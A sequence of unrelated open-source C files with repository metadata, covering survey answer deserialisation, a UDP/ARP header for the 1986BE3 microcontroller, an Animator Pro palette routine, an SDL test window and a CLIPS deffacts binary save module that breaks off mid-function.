DESERIALISE_BEGIN(out, len, max_len);
DESERIALISE_STRING(a->uid);
DESERIALISE_THING(a->type, deserialise_question_type);
DESERIALISE_STRING(a->text);
DESERIALISE_LONGLONG(a->value);
DESERIALISE_LONGLONG(a->lat);
DESERIALISE_LONGLONG(a->lon);
DESERIALISE_LONGLONG(a->time_begin);
DESERIALISE_LONGLONG(a->time_end);
DESERIALISE_INT(a->time_zone_delta);
DESERIALISE_INT(a->dst_delta);
DESERIALISE_STRING(a->unit);
DESERIALISE_INT(a->flags);
DESERIALISE_LONGLONG(a->stored);
DESERIALISE_COMPLETE(out, len, max_len);
}
} while (0);
return retVal;
}
/*
The following macros make it easier to compare fields between two instances of
a structure.
*/
#define COMPARE_INT(S) \
{ \
if (q1->S > q2->S) { \
if (mismatchIsError) { \
BREAK_ERRORV(#S " fields do not match: '%d' vs '%d'", q1->S, q1->S); \
} \
} else if (q1->S < q2->S) { \
if (mismatchIsError) { \
BREAK_ERROR(#S " fields do not match"); \
} \
} else \
retVal = 0; \
if (retVal) \
break; \
}
#define COMPARE_LONGLONG(S) COMPARE_INT(S)
#define COMPARE_STRING(S) \
{ \
if ((!q1->S) || (!q2->S)) { \
if (q1->S != q2->S && mismatchIsError) { \
BREAK_ERRORV(#S " fields dot not match '%s' vs '%s'", q1->S, q2->S); \
} \
} else { \
if (strcmp(q1->S, q2->S)) { \
if (mismatchIsError) { \
BREAK_ERRORV( #S " fields do not match '%s' vs '%s'", q1->S, q2->S); \
} \
} \
} \
}
/*
Using the above convenience macros, quickly compare all fields in a pair of
question structures, so that the semantic equivalence of them can be tested.
It returns 0 if the structures are equivalent, and -1 otherwise.
If mistmatchIsError is non-zero, then the error logging facility will record
each difference. Otherwise, mismatches are considered not to be an error.
*/
int compare_questions(struct question *q1, struct question *q2,
int mismatchIsError) {
int retVal = 0;
do {
COMPARE_STRING(uid);
COMPARE_STRING(question_text);
COMPARE_STRING(question_html);
COMPARE_INT(type);
COMPARE_INT(flags);
COMPARE_STRING(default_value);
COMPARE_LONGLONG(min_value);
COMPARE_LONGLONG(max_value);
COMPARE_INT(decimal_places);
COMPARE_INT(num_choices);
// #72 unit field
COMPARE_STRING(unit);
} while (0);
return retVal;
}
/*
Similar to compare_question(), but for comparing answers.
(Note that because we are using the same convenience macros, the two
structures must be called q1 and q2, although they are answers, not
questions).
*/
int compare_answers(struct answer *q1, struct answer *q2, int mismatchIsError) {
int retVal = 0;
do {
COMPARE_STRING(uid);
COMPARE_STRING(text);
COMPARE_LONGLONG(value);
COMPARE_LONGLONG(lat);
COMPARE_LONGLONG(lon);
COMPARE_LONGLONG(time_begin);
COMPARE_LONGLONG(time_end);
COMPARE_INT(time_zone_delta);
COMPARE_INT(dst_delta);
// #72 unit field
COMPARE_STRING(unit);
// #186 flags
COMPARE_INT(flags);
// #162 storage timestamp
COMPARE_LONGLONG(stored);
} while (0);
return retVal;
}
int dump_answer_list(FILE *fp, struct answer_list *list) {
int retVal = 0;
do {
if (!fp) {
BREAK_ERROR("dump_next_questions(): invalid file pointer.");
}
if (!list) {
fprintf(fp, "answers { <NULL> }\n");
break;
}
fprintf(
fp,
"answers {\n"
" len: %zu\n"
" answers: [\n",
list->len
);
for (size_t i = 0; i < list->len; i++) {
fprintf(fp, " %s%s\n", list->answers[i]->uid, (i < list->len - 1) ? ",": "");
}
fprintf(fp , " ]\n}\n");
} while (0);
return retVal;
}
void free_answer_list(struct answer_list *list) {
if (!list) {
return;
}
for(size_t i = 0; i < list->len; i++) {
free_answer(list->answers[i]);
}
list->len = 0;
free(list);
}
/**
* deserialise a sequence of answers
*/
struct answer_list *deserialise_answers(const char *body, enum answer_scope scope) {
int retVal = 0;
struct answer_list *list = NULL;
do {
if (!body) {
BREAK_ERROR("body to parse is null");
}
if (!strlen(body)) {
BREAK_ERROR("body to parse is empty");
}
list = calloc(1, sizeof(struct answer_list));
if (!list) {
BREAK_ERROR("error allocating memory for answer list");
}
int i = 0;
char *sav;
char *line = parse_line(body, '\n', &sav);
while(line != NULL) {
// initialise answer
list->len++; // placed here for comlete free_answer_list on retVal > 0
list->answers[i] = calloc(1, sizeof(struct answer));
if (list->answers[i] == NULL) {
BREAK_ERRORV("error allocating memory for answer in line %d", i);
break;
}
// deserialise answer
if (deserialise_answer(line, scope, list->answers[i])) {
BREAK_ERRORV("failed to deserialise answer for line %d, starting with '%.20s'", i, line);
break;
}
freez(line);
line = NULL;
LOG_INFOV("parsed answer '%s' from line %d", list->answers[i]->uid, i);
// next
i++;
line = parse_line(NULL, '\n', &sav);
} // while(line)
} while(0);
if (retVal) {
free_answer_list(list);
return NULL;
}
return list;
}
| 3 | 3 |
2024-11-18T20:38:20.536269+00:00 | 2023-08-07T00:34:06 | fa0a0c5c5ae40e45243f95bde61d20ae36d5af58 | {
"blob_id": "fa0a0c5c5ae40e45243f95bde61d20ae36d5af58",
"branch_name": "refs/heads/master",
"committer_date": "2023-08-07T00:34:06",
"content_id": "a255b7cd16d137dbd9cc274b0dbcc5bb11a0f1e0",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "7875d9c191db4bbe4d3bafc340035435833a2166",
"extension": "c",
"filename": "OS_COPY.C",
"fork_events_count": 0,
"gha_created_at": "2020-05-11T19:59:10",
"gha_event_created_at": "2020-05-12T01:10:21",
"gha_language": "C",
"gha_license_id": "Apache-2.0",
"github_id": 263145010,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 483,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/source/OSK/OS_COPY.C",
"provenance": "stackv2-0029.json.gz:242",
"repo_name": "jf990/teies",
"revision_date": "2023-08-07T00:34:06",
"revision_id": "8cdd14fd1798ae49994f2906ba9368923783ef24",
"snapshot_id": "23dc2b68dd8a30f7d7b005ef182b25eb7ad42938",
"src_encoding": "UTF-8",
"star_events_count": 4,
"url": "https://raw.githubusercontent.com/jf990/teies/8cdd14fd1798ae49994f2906ba9368923783ef24/source/OSK/OS_COPY.C",
"visit_date": "2023-08-25T12:23:17.632184"
} | stackv2 | #include "defs.h"
/*
.page
.cen general purpose copy routine
hopefully this will replaced with an assembly program
on those machines that support block move instructions */
hword ccopy(a,b,len)
byte *a, *b;
hword len;
{ hword i, found;
found = 0;
i = 0;
if( len > 0){
for (i=0;i<len;i++){
*b = *a;
b++;
a++;}}
else { len = -len;
for(i=0;i<len;i++){
*b = *a;
b--;
a--;}}}
| 2.203125 | 2 |
2024-11-18T20:39:07.032116+00:00 | 2020-05-01T01:47:31 | 88bb81ef46a6705ddc57ee834a1e32ddbe9a08b9 | {
"blob_id": "88bb81ef46a6705ddc57ee834a1e32ddbe9a08b9",
"branch_name": "refs/heads/master",
"committer_date": "2020-05-01T01:47:31",
"content_id": "f90df909ea711e3bbad26bacab2940bf93fa7775",
"detected_licenses": [
"MIT"
],
"directory_id": "7e4c241f4b89de1c1aab30cdc1599eb57ebcbf7f",
"extension": "c",
"filename": "p1.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 236575238,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 810,
"license": "MIT",
"license_type": "permissive",
"path": "/week7/code/p1.c",
"provenance": "stackv2-0029.json.gz:1657",
"repo_name": "ethanrooney/comphys",
"revision_date": "2020-05-01T01:47:31",
"revision_id": "62e393a554c311733bdf092becbe2a8675ba8a91",
"snapshot_id": "d49700d08634b20c0c76e9121d5810a442187d04",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/ethanrooney/comphys/62e393a554c311733bdf092becbe2a8675ba8a91/week7/code/p1.c",
"visit_date": "2020-12-21T22:00:23.661561"
} | stackv2 | /*
* =====================================================================================
*
* Filename: hw7.c
*
* Description:
*
* Version: 1.0
* Created: 03/26/2020 06:28:44 PM
* Revision: none
* Compiler: gcc
*
* Author: Ethan Rooney (), [email protected]
* Organization:
*
* =====================================================================================
*/
#include <stdlib.h>
#include <stdio.h>
#include <math.h>
#include <time.h>
double gausrnd()
{
double u1 = drand48();
double u2 = drand48();
return sqrt(-2*log(u1))*cos(2*M_PI*u2);
}
int main(int argv, char** argc)
{
srand48(time(NULL)+clock());
for(int i = 0; i < atoi(argc[1]); i++)
{
printf("%20.20lf\t%20.20lf\n",drand48(), gausrnd());
}
}
| 2.390625 | 2 |
2024-11-18T20:39:07.780932+00:00 | 2018-06-05T07:45:53 | 61ee4a24685c2ca42eb319aadb58e66a998dcf22 | {
"blob_id": "61ee4a24685c2ca42eb319aadb58e66a998dcf22",
"branch_name": "refs/heads/master",
"committer_date": "2018-06-05T07:45:53",
"content_id": "aa310df9ae11bac49a51ef48f72d29baac52eca1",
"detected_licenses": [
"MIT"
],
"directory_id": "0057987be09eab0f49bfcaaa6ffc10d4805490d2",
"extension": "h",
"filename": "lan.h",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 136138826,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 4486,
"license": "MIT",
"license_type": "permissive",
"path": "/Example_Projects_Eclipse/1986BE3_UDP/source/1986BE3_UDP/lan.h",
"provenance": "stackv2-0029.json.gz:1913",
"repo_name": "yaxn/keil-pack-milandr",
"revision_date": "2018-06-05T07:45:53",
"revision_id": "90c48b87bd89e13af5bf968841672a62cbe2424a",
"snapshot_id": "4ef1afaa3b10b47061a6b457ae5bb2e902215f04",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/yaxn/keil-pack-milandr/90c48b87bd89e13af5bf968841672a62cbe2424a/Example_Projects_Eclipse/1986BE3_UDP/source/1986BE3_UDP/lan.h",
"visit_date": "2020-03-19T07:40:52.599006"
} | stackv2 | /* 1986BE3_UDP
__ ____ ___ __ ___ ___ __ __
| |\/| | )| | ) / |( ( )( ( ) / / \ \_/
|_| |_|_/ |_| \__|_| /_/ (_(_)(_)_)__/_/ \
*//**
* \file lan.h
* \brief UDP, ARP and ping for 1986BE3.
* \author Vitaly Kravtsov ([email protected])
* \copyright See the LICENSE file.
*/
#ifndef LAN_H
#define LAN_H
#include <stdint.h>
#include <stdbool.h>
/**
* \defgroup lan UDP, ARP and ping for 1986BE3.
*
* Usage example:
*
* \code
* int main()
* {
* // Initialize Ethernet controller
* lan_init( eth1, MY_MAC, MY_IP, MY_IP_MASK );
*
* // Wait for completion of auto-negotiation...
* while ( !lan_autoneg( eth1 ));
*
* while ( 1 ) {
* // Receive packets, handle a payload into udp_handle_data()
* lan_receive( eth1 );
* // Check lan_errno here...
*
* // If the transmit buffer has some free space...
* if ( lan_able_transmit( eth1 )) {
* // Send data using UDP datagram
* udp_transmit( eth1, MY_PORT, TARGET_PORT, TARGET_IP, data, sz );
* // Check lan_errno here...
* }
* }
* }
*
* void udp_handle_data( int ifc, uint16_t s_port, uint16_t t_port, ip_addr_t s_ip, uint8_t *data, uint16_t sz )
* {
* // Handle a payload here...
* }
*
* \endcode
* \{
*/
#ifdef __cplusplus
extern "C" {
#endif
/**
* \brief IP address type.
*/
typedef uint32_t ip_addr_t;
#define IP_ADDR( a, b, c, d ) ( \
(( ip_addr_t )( a ) ) \
| (( ip_addr_t )( b ) << 8 ) \
| (( ip_addr_t )( c ) << 16 ) \
| (( ip_addr_t )( d ) << 24 ) \
)
/**
* \brief LAN error identifiers.
*/
enum {
/* all functions */
LAN_ERR_NONE,
LAN_ERR_INTERFACE,
/* udp_transmit */
LAN_ERR_NO_MAC,
LAN_ERR_TOO_LONG_PAYLOAD,
/* lan_receive */
LAN_ERR_FRAME_TOO_SHORT,
LAN_ERR_ARP_TOO_SHORT,
LAN_ERR_IP_TOO_SHORT,
LAN_ERR_IP_CHECKSUM,
LAN_ERR_IP_TOTAL_LEN,
LAN_ERR_UDP_CHECKSUM,
LAN_ERR_UDP_LEN,
};
/**
* \brief Last error.
*/
extern int lan_errno;
/**
* \brief Initialize controller of Ethernet interface.
* \param ifc Interface ID.
* \param mac Interface MAC address.
* \param ip Interface IP address.
* \param mask Interface subnet mask.
*/
void lan_init( int ifc, mac_addr_t mac, ip_addr_t ip, ip_addr_t mask );
/**
* \brief Check auto-negotiation is completed.
* \param ifc Interface ID.
* \return Completion flag.
*/
bool lan_autoneg( int ifc );
/**
* \brief Get a packet from the receive buffer, handle a payload into udp_handle_data().
*
* Check the result of this operation in lan_erron variable.
*
* \param ifc Interface ID.
* \return Something-was-received flag.
*/
bool lan_receive( int ifc );
/**
* \brief Prototype of a callback function for handling data received into UDP packet.
* \param ifc Interface ID.
* \param s_port Sender UDP port.
* \param t_port Target UDP port.
* \param s_ip Sender IP address.
* \param data Payload.
* \param sz Payload size.
*/
void udp_handle_data( int ifc, uint16_t s_port, uint16_t t_port, ip_addr_t s_ip, uint8_t *data, uint16_t sz );
/**
* \brief Check the transmit buffer has free space.
* \param ifc Interface ID.
* \return Has-some-space flag.
*/
bool lan_able_transmit( int ifc );
/**
* \brief Send UDP packet.
*
* Check the result of this operation in lan_erron variable:
* - LAN_ERR_NONE Packet was passed into the transmit buffer.
* - LAN_ERR_NO_MAC Packet was not sent because the target IP address is not found in the ARP cache,
* but an ARP request was sent instead. Try again later.
* - LAN_ERR_INTERFACE Wrong interface ID.
* - LAN_ERR_TOO_LONG_PAYLOAD Wrong payload size.
*
* \param ifc Interface ID.
* \param s_port Sender UDP port.
* \param t_port Target UDP port.
* \param t_ip Target IP address.
* \param data Payload.
* \param sz Payload size.
*/
void udp_transmit( int ifc, uint16_t s_port, uint16_t t_port, ip_addr_t t_ip, uint8_t *data, uint16_t sz );
/**
* \brief Reply with UDP packet.
*
* Check the result of this operation in lan_erron variable, see udp_transmit.
*
* \param ifc Interface ID.
* \param sz Payload size.
*/
void udp_reply( int ifc, uint16_t sz );
/**
* \brief Send ARP packet.
* \param ifc Interface ID.
* \param t_ip Target IP address.
*/
void arp_transmit( int ifc, ip_addr_t ip );
#ifdef __cplusplus
}
#endif
/** \} */
#endif /* LAN_H */
| 2.453125 | 2 |
2024-11-18T20:39:08.130214+00:00 | 2022-11-25T14:31:40 | 8867c1eae7458134d118bcb2c5730b0158df628d | {
"blob_id": "8867c1eae7458134d118bcb2c5730b0158df628d",
"branch_name": "refs/heads/main",
"committer_date": "2022-11-25T14:31:40",
"content_id": "95c457e3f6c2b67fee15241d9defc9e701bfe33b",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "c6bbd226758134f7057e381234b14ab0e5f19410",
"extension": "c",
"filename": "onepal.c",
"fork_events_count": 0,
"gha_created_at": "2020-06-16T04:28:36",
"gha_event_created_at": "2022-11-25T14:31:42",
"gha_language": "C",
"gha_license_id": "BSD-3-Clause",
"github_id": 272609398,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 3173,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/src/pj/onepal.c",
"provenance": "stackv2-0029.json.gz:2041",
"repo_name": "kattkieru/Animator-Pro",
"revision_date": "2022-11-25T14:31:40",
"revision_id": "5a7a58a3386a6430a59b64432d31dc556c56315b",
"snapshot_id": "441328d06cae6b7175b0260f4ea1c425b36625e9",
"src_encoding": "UTF-8",
"star_events_count": 2,
"url": "https://raw.githubusercontent.com/kattkieru/Animator-Pro/5a7a58a3386a6430a59b64432d31dc556c56315b/src/pj/onepal.c",
"visit_date": "2023-08-05T04:34:00.462730"
} | stackv2 | /* onepal.c - A routine to force all the frames of a FLIC to a reasonable
intermediate palette that is the same for all frames */
#include "jimk.h"
#include "auto.h"
#include "errcodes.h"
#include "flx.h"
#include "palmenu.h"
#define MAXC (21000)
static int ccount;
static int add_clist(UBYTE *uses, Rgb3 *clist, Rgb3 *cmap)
{
int cneeded;
Rgb3 *rgb;
int i;
cneeded = ccount + COLORS;
if (cneeded > MAXC)
{
soft_continu_box("many_colors");
return(0);
}
for (i=0; i<COLORS; ++i)
{
if (*uses++ != 0)
{
rgb = &cmap[i];
if (!in_ctable(rgb, clist, ccount) )
{
clist[(unsigned)ccount] = *rgb;
++ccount;
}
}
}
return(1);
}
static Errcode
force1(void *cmap, int ix, int it, int scale, Autoarg *aa)
{
Cmap *dcmap = cmap;
(void)ix;
(void)scale;
soft_top_textf("!%d%d", "top_refit", aa->cur_frame, it - aa->cur_frame);
refit_rcel(vb.pencel, dcmap, vb.pencel->cmap);
pj_cmap_copy(dcmap, vb.pencel->cmap);
see_cmap();
return Success;
}
void fold_in_mucolors(Cmap *cmap, int first_free, Wscreen *s)
/* if there are any free colors, insure that menu colors are present if the
* colors in the color map provided aren't good enough */
{
Rgb3 *mc_curr;
Rgb3 *mc_ideal;
Rgb3 *max_ideal;
Rgb3 *ctab;
int i;
if(has_menu_colors(cmap, s))
return;
ctab = cmap->ctab;
mc_ideal = s->mc_ideals;
max_ideal = mc_ideal + NUM_MUCOLORS;
mc_curr = ctab + FIRST_MUCOLOR;
i = NUM_MUCOLORS;
while(mc_ideal < max_ideal)
{
if(i++ >= first_free)
*mc_curr = *mc_ideal;
else
{
/* if color in cmap is present in prior part we can replace it
* but only if the ideal color is not already present */
if(in_ctable(mc_curr,ctab,FIRST_MUCOLOR)
&& !in_ctable(mc_ideal,ctab,FIRST_MUCOLOR))
{
*mc_curr = *mc_ideal;
}
}
++mc_curr;
++mc_ideal;
}
}
void one_palette(void)
{
Errcode err;
Rgb3 *clist;
Cmap *dcmap;
char *cused;
int i;
int ok;
Autoarg aa;
ok = 1; /* this routine is an optimist */
push_most();
if (pj_cmap_alloc(&dcmap,COLORS) >= Success)
{
if ((cused = begmem(COLORS)) != NULL)
{
if((err = scrub_cur_frame()) >= Success)
{
if((clist = begmem(MAXC*sizeof(Rgb3))) != NULL)
{
ccount = 0;
for (i=0; i<flix.hdr.frame_count; ++i)
{
if(unfli(vb.pencel, i, 1) < 0)
{
ok = 0;
break;
}
make_cused(vb.pencel, cused, COLORS);
if (!add_clist(cused, clist, vb.pencel->cmap->ctab))
{
ok = 0;
break;
}
}
if (ok)
{
find_colors();
soft_top_textf("!%d", "top_cpack", ccount);
clear_mem(dcmap->ctab, COLORS*sizeof(Rgb3));
pack_ctable(clist,(long)ccount,dcmap->ctab,COLORS);
if(ccount < COLORS)
fold_in_mucolors(dcmap,ccount,vb.screen);
}
pj_free(clist);
}
}
pj_free(cused);
}
if (ok)
{
clear_struct(&aa);
aa.avec = force1;
aa.avecdat = dcmap;
noask_do_auto(&aa,DOAUTO_ALL);
}
pj_cmap_free(dcmap);
}
cleanup_toptext();
pop_most();
fli_abs_tseek(vb.pencel,vs.frame_ix);
see_cmap();
save_undo();
}
| 2.265625 | 2 |
2024-11-18T20:49:59.513040+00:00 | 2020-03-05T06:31:26 | 8b9706b15d23c3820424516e0d7fc16c37954249 | {
"blob_id": "8b9706b15d23c3820424516e0d7fc16c37954249",
"branch_name": "refs/heads/master",
"committer_date": "2020-03-05T06:31:26",
"content_id": "c660726a282b162ed4669c3bf4e32a6460b886a3",
"detected_licenses": [
"MIT"
],
"directory_id": "99ff8e570e082e20917be8a66e14403f3f63a94b",
"extension": "c",
"filename": "main.c",
"fork_events_count": 0,
"gha_created_at": "2019-08-15T09:49:28",
"gha_event_created_at": "2019-12-11T10:24:30",
"gha_language": "C",
"gha_license_id": "MIT",
"github_id": 202516494,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 914,
"license": "MIT",
"license_type": "permissive",
"path": "/src/gui/main.c",
"provenance": "stackv2-0029.json.gz:134394",
"repo_name": "pougetat/GameBoyEmulator",
"revision_date": "2020-03-05T06:31:26",
"revision_id": "ab4f432cb1ef45898101fcd23efda965983fba9e",
"snapshot_id": "84a2a1dc873e1e581ad5335eb3d76bb8c45e79a0",
"src_encoding": "UTF-8",
"star_events_count": 3,
"url": "https://raw.githubusercontent.com/pougetat/GameBoyEmulator/ab4f432cb1ef45898101fcd23efda965983fba9e/src/gui/main.c",
"visit_date": "2020-07-05T04:07:55.231641"
} | stackv2 | // SDL2 Hello, World!
// This should display a white screen for 2 seconds
// compile with: clang++ main.cpp -o hello_sdl2 -lSDL2
// run with: ./hello_sdl2
#include <SDL2/SDL.h>
#include <stdio.h>
#include <stdbool.h>
#include "gui.h"
#undef main
int main(int argc, char* args[])
{
Gui * gui_ptr = gui_init();
for (int i = 0; i < GUI_SCREEN_PIXEL_HEIGHT; i++)
{
for (int j = 0; j < GUI_SCREEN_PIXEL_WIDTH; j++)
{
gui_ptr->frame_data[i][j] = 2;
}
}
gui_render_frame(gui_ptr);
SDL_Event e;
bool quit = false;
while (!quit){
while (SDL_PollEvent(&e)){
if (e.type == SDL_QUIT){
quit = true;
}
if (e.type == SDL_KEYDOWN){
quit = true;
}
if (e.type == SDL_MOUSEBUTTONDOWN){
quit = true;
}
}
}
return 0;
} | 2.625 | 3 |
2024-11-18T20:49:59.864554+00:00 | 2022-08-03T03:25:07 | 2f9ed28b351082f7f0ad401de79134b24a52a9d7 | {
"blob_id": "2f9ed28b351082f7f0ad401de79134b24a52a9d7",
"branch_name": "refs/heads/master",
"committer_date": "2022-08-03T03:25:07",
"content_id": "8dc062476921f027230c3f433082402d8ea450bc",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "084f426279e775884ecef4ff4b0b1bdfef902d09",
"extension": "c",
"filename": "dffctbin.c",
"fork_events_count": 3,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 27157311,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 19397,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/src/clips/dffctbin.c",
"provenance": "stackv2-0029.json.gz:134522",
"repo_name": "guitarpoet/php-clips",
"revision_date": "2022-08-03T03:25:07",
"revision_id": "f206d7a43810b2cc1a9826db5c266b0c9254bbff",
"snapshot_id": "bd0a7272328c86c0c96505545118107eff6eba24",
"src_encoding": "UTF-8",
"star_events_count": 9,
"url": "https://raw.githubusercontent.com/guitarpoet/php-clips/f206d7a43810b2cc1a9826db5c266b0c9254bbff/src/clips/dffctbin.c",
"visit_date": "2022-08-25T04:14:57.238389"
} | stackv2 | /*******************************************************/
/* "C" Language Integrated Production System */
/* */
/* CLIPS Version 6.40 01/06/16 */
/* */
/* DEFFACTS BSAVE/BLOAD MODULE */
/*******************************************************/
/*************************************************************/
/* Purpose: Implements the binary save/load feature for the */
/* deffacts construct. */
/* */
/* Principal Programmer(s): */
/* Gary D. Riley */
/* */
/* Contributing Programmer(s): */
/* Brian L. Dantes */
/* */
/* Revision History: */
/* */
/* 6.30: Changed integer type/precision. */
/* */
/*************************************************************/
#include "setup.h"
#if DEFFACTS_CONSTRUCT && (BLOAD || BLOAD_ONLY || BLOAD_AND_BSAVE) && (! RUN_TIME)
#include <stdio.h>
#include "bload.h"
#include "bsave.h"
#include "dffctdef.h"
#include "envrnmnt.h"
#include "memalloc.h"
#include "moduldef.h"
#include "dffctbin.h"
/***************************************/
/* LOCAL INTERNAL FUNCTION DEFINITIONS */
/***************************************/
#if BLOAD_AND_BSAVE
static void BsaveFind(void *);
static void BsaveExpressions(void *,FILE *);
static void BsaveStorage(void *,FILE *);
static void BsaveBinaryItem(void *,FILE *);
#endif
static void BloadStorage(void *);
static void BloadBinaryItem(void *);
static void UpdateDeffactsModule(void *,void *,long);
static void UpdateDeffacts(void *,void *,long);
static void ClearBload(void *);
static void DeallocateDeffactsBloadData(void *);
/********************************************/
/* DeffactsBinarySetup: Installs the binary */
/* save/load feature for deffacts. */
/********************************************/
void DeffactsBinarySetup(
void *theEnv)
{
AllocateEnvironmentData(theEnv,DFFCTBIN_DATA,sizeof(struct deffactsBinaryData),DeallocateDeffactsBloadData);
#if BLOAD_AND_BSAVE
AddBinaryItem(theEnv,"deffacts",0,BsaveFind,BsaveExpressions,
BsaveStorage,BsaveBinaryItem,
BloadStorage,BloadBinaryItem,
ClearBload);
#endif
#if (BLOAD || BLOAD_ONLY)
AddBinaryItem(theEnv,"deffacts",0,NULL,NULL,NULL,NULL,
BloadStorage,BloadBinaryItem,
ClearBload);
#endif
}
/********************************************************/
/* DeallocateDeffactsBloadData: Deallocates environment */
/* data for the deffacts bsave functionality. */
/********************************************************/
static void DeallocateDeffactsBloadData(
void *theEnv)
{
size_t space;
space = DeffactsBinaryData(theEnv)->NumberOfDeffacts * sizeof(struct deffacts);
if (space != 0) genfree(theEnv,(void *) DeffactsBinaryData(theEnv)->DeffactsArray,space);
space = DeffactsBinaryData(theEnv)->NumberOfDeffactsModules * sizeof(struct deffactsModule);
if (space != 0) genfree(theEnv,(void *) DeffactsBinaryData(theEnv)->ModuleArray,space);
}
#if BLOAD_AND_BSAVE
/*********************************************************/
/* BsaveFind: Counts the number of data structures which */
/* must be saved in the binary image for the deffacts */
/* in the current environment. */
/*********************************************************/
static void BsaveFind(
void *theEnv)
{
struct deffacts *theDeffacts;
struct defmodule *theModule;
/*=======================================================*/
/* If a binary image is already loaded, then temporarily */
/* save the count values since these will be overwritten */
/* in the process of saving the binary image. */
/*=======================================================*/
SaveBloadCount(theEnv,DeffactsBinaryData(theEnv)->NumberOfDeffactsModules);
SaveBloadCount(theEnv,DeffactsBinaryData(theEnv)->NumberOfDeffacts);
/*========================================*/
/* Set the count of deffacts and deffacts */
/* module data structures to zero. */
/*========================================*/
DeffactsBinaryData(theEnv)->NumberOfDeffacts = 0;
DeffactsBinaryData(theEnv)->NumberOfDeffactsModules = 0;
/*===========================*/
/* Loop through each module. */
/*===========================*/
for (theModule = (struct defmodule *) EnvGetNextDefmodule(theEnv,NULL);
theModule != NULL;
theModule = (struct defmodule *) EnvGetNextDefmodule(theEnv,theModule))
{
/*===============================================*/
/* Set the current module to the module being */
/* examined and increment the number of deffacts */
/* modules encountered. */
/*===============================================*/
EnvSetCurrentModule(theEnv,(void *) theModule);
DeffactsBinaryData(theEnv)->NumberOfDeffactsModules++;
/*===================================================*/
/* Loop through each deffacts in the current module. */
/*===================================================*/
for (theDeffacts = (struct deffacts *) EnvGetNextDeffacts(theEnv,NULL);
theDeffacts != NULL;
theDeffacts = (struct deffacts *) EnvGetNextDeffacts(theEnv,theDeffacts))
{
/*======================================================*/
/* Initialize the construct header for the binary save. */
/*======================================================*/
MarkConstructHeaderNeededItems(&theDeffacts->header,DeffactsBinaryData(theEnv)->NumberOfDeffacts++);
/*============================================================*/
/* Count the number of expressions contained in the deffacts' */
/* assertion list and mark any atomic values contained there */
/* as in use. */
/*============================================================*/
ExpressionData(theEnv)->ExpressionCount += ExpressionSize(theDeffacts->assertList);
MarkNeededItems(theEnv,theDeffacts->assertList);
}
}
}
/************************************************/
/* BsaveExpressions: Saves the expressions used */
/* by deffacts to the binary save file. */
/************************************************/
static void BsaveExpressions(
void *theEnv,
FILE *fp)
{
struct deffacts *theDeffacts;
struct defmodule *theModule;
/*===========================*/
/* Loop through each module. */
/*===========================*/
for (theModule = (struct defmodule *) EnvGetNextDefmodule(theEnv,NULL);
theModule != NULL;
theModule = (struct defmodule *) EnvGetNextDefmodule(theEnv,theModule))
{
/*======================================================*/
/* Set the current module to the module being examined. */
/*======================================================*/
EnvSetCurrentModule(theEnv,(void *) theModule);
/*==================================================*/
/* Loop through each deffacts in the current module */
/* and save the assertion list expression. */
/*==================================================*/
for (theDeffacts = (struct deffacts *) EnvGetNextDeffacts(theEnv,NULL);
theDeffacts != NULL;
theDeffacts = (struct deffacts *) EnvGetNextDeffacts(theEnv,theDeffacts))
{ BsaveExpression(theEnv,theDeffacts->assertList,fp); }
}
}
/******************************************************/
/* BsaveStorage: Writes out the storage requirements */
/* for all deffacts structures to the binary file. */
/******************************************************/
static void BsaveStorage(
void *theEnv,
FILE *fp)
{
size_t space;
/*=================================================================*/
/* Only two data structures are saved as part of a deffacts binary */
/* image: the deffacts data structure and the deffactsModule data */
/* structure. The assertion list expressions are not save with the */
/* deffacts portion of the binary image. */
/*=================================================================*/
space = sizeof(long) * 2;
GenWrite(&space,sizeof(size_t),fp);
GenWrite(&DeffactsBinaryData(theEnv)->NumberOfDeffacts,sizeof(long int),fp);
GenWrite(&DeffactsBinaryData(theEnv)->NumberOfDeffactsModules,sizeof(long int),fp);
}
/********************************************/
/* BsaveBinaryItem: Writes out all deffacts */
/* structures to the binary file. */
/********************************************/
static void BsaveBinaryItem(
void *theEnv,
FILE *fp)
{
size_t space;
struct deffacts *theDeffacts;
struct bsaveDeffacts newDeffacts;
struct defmodule *theModule;
struct bsaveDeffactsModule tempDeffactsModule;
struct deffactsModule *theModuleItem;
/*=========================================================*/
/* Write out the amount of space taken up by the deffacts */
/* and deffactsModule data structures in the binary image. */
/*=========================================================*/
space = DeffactsBinaryData(theEnv)->NumberOfDeffacts * sizeof(struct bsaveDeffacts) +
(DeffactsBinaryData(theEnv)->NumberOfDeffactsModules * sizeof(struct bsaveDeffactsModule));
GenWrite(&space,sizeof(size_t),fp);
/*================================================*/
/* Write out each deffacts module data structure. */
/*================================================*/
DeffactsBinaryData(theEnv)->NumberOfDeffacts = 0;
for (theModule = (struct defmodule *) EnvGetNextDefmodule(theEnv,NULL);
theModule != NULL;
theModule = (struct defmodule *) EnvGetNextDefmodule(theEnv,theModule))
{
EnvSetCurrentModule(theEnv,(void *) theModule);
theModuleItem = (struct deffactsModule *) GetModuleItem(theEnv,NULL,DeffactsData(theEnv)->DeffactsModuleIndex);
AssignBsaveDefmdlItemHdrVals(&tempDeffactsModule.header,&theModuleItem->header);
GenWrite(&tempDeffactsModule,(unsigned long) sizeof(struct bsaveDeffactsModule),fp);
}
/*==========================*/
/* Write out each deffacts. */
/*==========================*/
for (theModule = (struct defmodule *) EnvGetNextDefmodule(theEnv,NULL);
theModule != NULL;
